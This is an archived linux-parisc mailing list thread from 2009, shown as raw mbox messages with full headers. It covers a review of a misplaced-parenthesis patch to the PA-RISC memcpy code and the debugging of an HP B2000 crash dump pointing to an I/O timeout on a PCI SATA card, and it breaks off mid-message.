CPU Status Register 0        = 0x2420c20000000000
CPU Status Register 1        = 0x8002000000000000
SADD LOG                     = 0xc100f0fff4820004
Read Short LOG               = 0xc1a0f0fff4820004
ERROR_STATUS                 = 0x0000000000100010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0xc1bff0fffed08040
RUN_DATA_LOW                 = 0xc1bff0fffed08040
RUN_CTRL                     = 0x0000021c00001418
RUN_ADDR                     = 0xc1bff0fffed08040
System Responder Path        = 0x00ffffff0a010400


HPMC PIM Analysis Information:

Timestamp =
  Fri May  15 20:19:22 GMT 2009    (20:09:05:15:20:19:22)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

A Data I/O Fetch Timeout occurred while CPU 0 was
requesting information from a device at the path 10/1/4/0 (PCI slot 4).


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not log
any additional information about the HPMC.

<Press any key to continue (q to quit)>

-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000


-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000

<Press any key to continue (q to quit)>

<Press any key to continue (q to quit)>

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000000000
CPU State                    = 0x00000000
<Press any key to continue (q to quit)>

Memory Error Log Information:

Timestamp =
  Fri May  15 20:19:22 GMT 2009    (20:09:05:15:20:19:22)


'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:

   No memory errors logged


I/O Module Error Log Information:

Timestamp =
  Fri May  15 20:19:22 GMT 2009    (20:09:05:15:20:19:22)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048
   1    ----------   0x1e0cc2a9   ------------------
   2    ----------   0x2e0cc009   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    ----------   0x4e0cc009   ------------------
   5    ----------   0x5e0cc009   ------------------
   6    ----------   0x6e0cc009   ------------------
   7    ----------   0x7e0cc009   ------------------
Main Menu: Enter command >



--------------000803000503010300030909--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] misplaced parenthesis?
Date: Sat, 16 May 2009 12:14:13 +0800
Lines: 46
Approved: news@gmane.org
Message-ID: <4A0E3D95.5090404@tausq.org>
References: <4A0DC131.8020606@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1242447267 24512 80.91.229.12 (16 May 2009 04:14:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 16 May 2009 04:14:27 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: Roel Kluin <roel.kluin@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 16 06:14:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M5BHv-0000vd-Qq
	for glpp-linux-parisc@gmane.org; Sat, 16 May 2009 06:14:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750829AbZEPEOP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 May 2009 00:14:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750835AbZEPEOP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 16 May 2009 00:14:15 -0400
Original-Received: from mail-px0-f123.google.com ([209.85.216.123]:48131 "EHLO
	mail-px0-f123.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750829AbZEPEOP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 May 2009 00:14:15 -0400
Original-Received: by pxi29 with SMTP id 29so1315889pxi.33
        for <linux-parisc@vger.kernel.org>; Fri, 15 May 2009 21:14:16 -0700 (PDT)
Original-Received: by 10.114.169.20 with SMTP id r20mr6101476wae.110.1242447256234;
        Fri, 15 May 2009 21:14:16 -0700 (PDT)
Original-Received: from ?192.168.100.52? (ip127.bb146.pacific.net.hk [202.64.146.127])
        by mx.google.com with ESMTPS id l30sm2164462waf.35.2009.05.15.21.14.11
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 15 May 2009 21:14:14 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.21 (Windows/20090302)
In-Reply-To: <4A0DC131.8020606@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1695
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1695>

This is a bit confusingly written, but your patch does not appear to be 
correct.

== has higher precedence than &, so you are basically changing it to:
if (likely(t1 & 1))

it really should be

-	if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
+	if (likely((t1 & (sizeof(unsigned int)-1)) == 0)) {

randolph


Roel Kluin wrote:
> Fix misplaced parenthesis.
>
> Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
> ---
> I think this is what was intended? Note that this patch may affect
> profiling.
>
> diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
> index bbda909..30207b0 100644
> --- a/arch/parisc/lib/memcpy.c
> +++ b/arch/parisc/lib/memcpy.c
> @@ -405,7 +405,7 @@ byte_copy:
>  
>  unaligned_copy:
>  	/* possibly we are aligned on a word, but not on a double... */
> -	if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
> +	if (likely(t1 & (sizeof(unsigned int)-1) == 0)) {
>  		t2 = src & (sizeof(unsigned int) - 1);
>  
>  		if (unlikely(t2 != 0)) {
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>   

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] misplaced parenthesis?
Date: Sat, 16 May 2009 01:48:50 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <b4198de60905152248t63514a4fmfa71f3a72d80770e@mail.gmail.com>
References: <4A0DC131.8020606@gmail.com> <4A0E3D95.5090404@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1242452942 723 80.91.229.12 (16 May 2009 05:49:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 16 May 2009 05:49:02 +0000 (UTC)
Cc: Roel Kluin <roel.kluin@gmail.com>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 16 07:48:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M5ClS-0005Hw-EB
	for glpp-linux-parisc@gmane.org; Sat, 16 May 2009 07:48:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750973AbZEPFsu convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 May 2009 01:48:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751445AbZEPFsu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 16 May 2009 01:48:50 -0400
Original-Received: from yx-out-2324.google.com ([74.125.44.29]:42869 "EHLO
	yx-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750973AbZEPFst convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 May 2009 01:48:49 -0400
Original-Received: by yx-out-2324.google.com with SMTP id 3so1332702yxj.1
        for <linux-parisc@vger.kernel.org>; Fri, 15 May 2009 22:48:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=6OCjQ2aKlgA/oaOmY/u/24MrwJLFFerVuAkGcmU7kr0=;
        b=KZX5pArLElfvxlu8TZfjnAN6F6B06p1MgkkavCSMM1hGT22bd+oj+U+bniG5mb+Ip+
         ZFSEwoDKIc6E7RxhYFE+yOan2uT+ldOP8jPsYJCaLOm1W8QgB2BMzz4nX3kwjaOZSgze
         l2FlVP2FdkgMKnPApU1iPOE+aTkU2Ayw4StdQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=uzyZ3kDLg/gHngP3R/mQ+XaTOTs5C6x8Co/6wMEeF4bX/DBP1ZeekkziuubFqfIDpG
         i+BUMhxaIbHNro0MIahoKtQQf8Jr3c0O19RNVq2FrX4xthL9JaKyFuUOjNo4OKSQp3iV
         Sj5sHsvrSvRL3t/0w4A0a464OuS6kzXu9TLRI=
Original-Received: by 10.151.128.10 with SMTP id f10mr7556353ybn.36.1242452930682; Fri, 
	15 May 2009 22:48:50 -0700 (PDT)
In-Reply-To: <4A0E3D95.5090404@tausq.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1696
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1696>

Does gcc produce different code for the three variations?

Matt

On Sat, May 16, 2009 at 12:14 AM, Randolph Chung <randolph@tausq.org> w=
rote:
> This is a bit confusingly written, but your patch does not appear to =
be
> correct.
>
> =3D=3D has higher precedence than &, so you are basically changing it=
 to:
> if (likely(t1 & 1))
>
> it really should be
>
> - =A0 =A0 =A0 if (likely(t1 & (sizeof(unsigned int)-1)) =3D=3D 0) {
> + =A0 =A0 =A0 if (likely((t1 & (sizeof(unsigned int)-1)) =3D=3D 0)) {
>
> randolph
>
>
> Roel Kluin wrote:
>>
>> Fix misplaced parenthesis.
>>
>> Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
>> ---
>> I think this is what was intended? Note that this patch may affect
>> profiling.
>>
>> diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
>> index bbda909..30207b0 100644
>> --- a/arch/parisc/lib/memcpy.c
>> +++ b/arch/parisc/lib/memcpy.c
>> @@ -405,7 +405,7 @@ byte_copy:
>> =A0=A0unaligned_copy:
>> =A0 =A0 =A0 =A0/* possibly we are aligned on a word, but not on a do=
uble... */
>> - =A0 =A0 =A0 if (likely(t1 & (sizeof(unsigned int)-1)) =3D=3D 0) {
>> + =A0 =A0 =A0 if (likely(t1 & (sizeof(unsigned int)-1) =3D=3D 0)) {
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0t2 =3D src & (sizeof(unsigned int) - =
1);
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0if (unlikely(t2 !=3D 0)) {
>> --
>> To unsubscribe from this list: send the line "unsubscribe linux-pari=
sc" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at =A0http://vger.kernel.org/majordomo-info.html
>>
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-paris=
c" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at =A0http://vger.kernel.org/majordomo-info.html
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] misplaced parenthesis?
Date: Mon, 18 May 2009 09:42:50 +0800
Lines: 71
Approved: news@gmane.org
Message-ID: <4A10BD1A.3060208@tausq.org>
References: <4A0DC131.8020606@gmail.com> <4A0E3D95.5090404@tausq.org> <b4198de60905152248t63514a4fmfa71f3a72d80770e@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1242610975 11704 80.91.229.12 (18 May 2009 01:42:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 May 2009 01:42:55 +0000 (UTC)
Cc: Roel Kluin <roel.kluin@gmail.com>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: Matt Turner <mattst88@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 18 03:42:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M5rsM-0000Ge-Jr
	for glpp-linux-parisc@gmane.org; Mon, 18 May 2009 03:42:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751208AbZERBmn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 May 2009 21:42:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751704AbZERBmn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 17 May 2009 21:42:43 -0400
Original-Received: from wa-out-1112.google.com ([209.85.146.176]:55269 "EHLO
	wa-out-1112.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751208AbZERBmm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 May 2009 21:42:42 -0400
Original-Received: by wa-out-1112.google.com with SMTP id j5so1014411wah.21
        for <linux-parisc@vger.kernel.org>; Sun, 17 May 2009 18:42:43 -0700 (PDT)
Original-Received: by 10.114.168.1 with SMTP id q1mr10049134wae.152.1242610963068;
        Sun, 17 May 2009 18:42:43 -0700 (PDT)
Original-Received: from ?192.168.100.52? (ip127.bb146.pacific.net.hk [202.64.146.127])
        by mx.google.com with ESMTPS id n6sm4228622wag.4.2009.05.17.18.42.40
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 17 May 2009 18:42:42 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.21 (Windows/20090302)
In-Reply-To: <b4198de60905152248t63514a4fmfa71f3a72d80770e@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1697
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1697>

The wrong version of course produces different code....

the original and the corrected one may produce different code depending 
on how the compiler schedules things.

randolph

Matt Turner wrote:
> Does gcc produce different code for the three variations?
>
> Matt
>
> On Sat, May 16, 2009 at 12:14 AM, Randolph Chung <randolph@tausq.org> wrote:
>   
>> This is a bit confusingly written, but your patch does not appear to be
>> correct.
>>
>> == has higher precedence than &, so you are basically changing it to:
>> if (likely(t1 & 1))
>>
>> it really should be
>>
>> -       if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
>> +       if (likely((t1 & (sizeof(unsigned int)-1)) == 0)) {
>>
>> randolph
>>
>>
>> Roel Kluin wrote:
>>     
>>> Fix misplaced parenthesis.
>>>
>>> Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
>>> ---
>>> I think this is what was intended? Note that this patch may affect
>>> profiling.
>>>
>>> diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
>>> index bbda909..30207b0 100644
>>> --- a/arch/parisc/lib/memcpy.c
>>> +++ b/arch/parisc/lib/memcpy.c
>>> @@ -405,7 +405,7 @@ byte_copy:
>>>   unaligned_copy:
>>>        /* possibly we are aligned on a word, but not on a double... */
>>> -       if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
>>> +       if (likely(t1 & (sizeof(unsigned int)-1) == 0)) {
>>>                t2 = src & (sizeof(unsigned int) - 1);
>>>                  if (unlikely(t2 != 0)) {
>>> --
>>> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
>>> the body of a message to majordomo@vger.kernel.org
>>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>>>
>>>       
>> --
>> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>>
>>     
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>   

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: random freezes B2000 running debian hppa lenny
Date: Sun, 17 May 2009 21:04:11 -0600
Lines: 69
Approved: news@gmane.org
Message-ID: <20090518030411.GB10973@lackof.org>
References: <49FB108B.9030803@ieee.org> <20090503112554.GB6617@lackof.org> <4A0DEF5F.6090401@ieee.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1242615866 20089 80.91.229.12 (18 May 2009 03:04:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 May 2009 03:04:26 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Dirk Van Hertem <dirk.vanhertem@ieee.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 18 05:04:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M5t9E-00006m-Lu
	for glpp-linux-parisc@gmane.org; Mon, 18 May 2009 05:04:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751917AbZERDEM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 May 2009 23:04:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752327AbZERDEM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 17 May 2009 23:04:12 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:60809 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751580AbZERDEL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 May 2009 23:04:11 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 641C333E025A;
	Sun, 17 May 2009 21:04:12 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EjHWSxzHdS73; Sun, 17 May 2009 21:04:11 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 6BF2233E025D; Sun, 17 May 2009 21:04:11 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4A0DEF5F.6090401@ieee.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1698
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1698>

On Sat, May 16, 2009 at 12:40:31AM +0200, Dirk Van Hertem wrote:
> Dear Grant,
> Dear linux-parisc enthousiasts,
> 
> Sorry for the late reply: in the last week, my vt220 terminal died and
> the power supply of my old (i386) server died as well, so I was busy
> with other things.

No problem.

> I attached the "ser pim" output to this email, I hope it helps. If you
> need any other information, please ask, I hope I'll be more responsive
> next time...

HPMC Chassis Codes = 2cbf0  2500b  2cbf2  2cbfc

Looking at:
    ftp://ftp.parisc-linux.org/docs/platforms/A2375-90004.pdf

CBF0 HPMC handling initiated.
CBF2 Invalid length for OS HPMC handler
CBFC Branch to OS HPMC failed

Just means the linux HPMC handler didn't get called. Hrm. This worked once
upon a time and I thought got fixed 6-8 months ago.

Next thing I look at is:
RUN_ADDR                     = 0xc1bff0fffed08040

So whatever is at 0xfffed08040 (40 bit addresses physically)
was the either the victim or the culprit. Often this is a MMIO BAR
plus some offset (probably 0x40). I suggest looking in the
Controller driver for that offset and where it's used in the
initialization


System Responder Path        = 0x00ffffff0a010400

This is supposed to match the HPA (Host Phys Address) of one of the
devices that is listed at the beginning of the parisc-linux boot.
I'm not sure it' accurate though.

And then the last part of the PIM that's interesting basically confirms
what we have been guessing:

'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

A Data I/O Fetch Timeout occurred while CPU 0 was
requesting information from a device at the path 10/1/4/0 (PCI slot 4).

I forgot how to check if the "I/O Fetch Timeout" occurred because
the IOMMU already went "fatal" (DMA was attempted to an unmapped address).


FYI, I also found the C3000 service manual here:
    http://sysdoc.doors.ch/HP/lpv38336.pdf

and uploaded a copy to:
	ftp://ftp.parisc-linux.org/docs/platforms/c3000-service.pdf

TODO: add an entry to http://www.parisc-linux.org/documentation/ 

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dirk Van Hertem <dirk.vanhertem@ieee.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: random freezes B2000 running debian hppa lenny
Date: Mon, 18 May 2009 11:34:27 +0200
Lines: 133
Approved: news@gmane.org
Message-ID: <4A112BA3.5000406@ieee.org>
References: <49FB108B.9030803@ieee.org> <20090503112554.GB6617@lackof.org> <4A0DEF5F.6090401@ieee.org> <20090518030411.GB10973@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1242639318 9602 80.91.229.12 (18 May 2009 09:35:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 May 2009 09:35:18 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 18 11:35:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M5zFU-0003Ek-BQ
	for glpp-linux-parisc@gmane.org; Mon, 18 May 2009 11:35:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757997AbZERJef (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 May 2009 05:34:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755577AbZERJef
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 18 May 2009 05:34:35 -0400
Original-Received: from eline.schedom-europe.net ([193.109.184.70]:41917 "EHLO
	eline.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757998AbZERJed (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 May 2009 05:34:33 -0400
Original-Received: (qmail 8236 invoked by uid 507); 18 May 2009 11:34:33 +0200
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	eline.schedom-europe.net
X-Spam-Level: *******
X-Spam-Status: No, score=7.0 required=15.0 tests=BAYES_99 autolearn=disabled
	version=3.2.5
Original-Received: from ip194.16leu0-1.cityconnect.schedom-europe.net (HELO ?192.168.1.20?) (83.101.44.194)
  by eline.schedom-europe.net with SMTP; 18 May 2009 11:34:29 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.19 (X11/20090103)
In-Reply-To: <20090518030411.GB10973@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1699
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1699>

Hello Grant,

Thank you for the response.

I am sorry to say, but I more or less understand your email, yet I have
no idea what to do with it...

How do I proceed to get this fixed? I am willing to learn something
about debugging, but I would need someone to hold my hand (I do not know
C, I have only a basic understanding on how the kernel works,...). I
have the impression that the problem is not gigantic, but might be
something simple to solve, maybe even just patching the sata_promise.c
file? Yet, I do not have an idea where and how to start looking...

I can give you access to the machine if that would help (note that this
would last only one hour or so, than it will hang automatically and I
would need to reboot it ;).

So my questions are:
* Is this something that can be solved? (in a reasonable time frame, I
want to use the hard disks for storage ;-))
* by me? (If so, how?)
* Must I forward this to the maintainers of this promise card within the
kernel, or is this a parisc thing?

>> I attached the "ser pim" output to this email, I hope it helps. If you
>> need any other information, please ask, I hope I'll be more responsive
>> next time...
>
> HPMC Chassis Codes = 2cbf0  2500b  2cbf2  2cbfc
> 
> Looking at:
>     ftp://ftp.parisc-linux.org/docs/platforms/A2375-90004.pdf
> 
> CBF0 HPMC handling initiated.
> CBF2 Invalid length for OS HPMC handler
> CBFC Branch to OS HPMC failed
> 
> Just means the linux HPMC handler didn't get called. Hrm. This worked once
> upon a time and I thought got fixed 6-8 months ago.
> 
> Next thing I look at is:
> RUN_ADDR                     = 0xc1bff0fffed08040
> 
> So whatever is at 0xfffed08040 (40 bit addresses physically)
> was the either the victim or the culprit. Often this is a MMIO BAR
> plus some offset (probably 0x40). I suggest looking in the
> Controller driver for that offset and where it's used in the
> initialization
> 

In sata_promise.c, there is the following code:

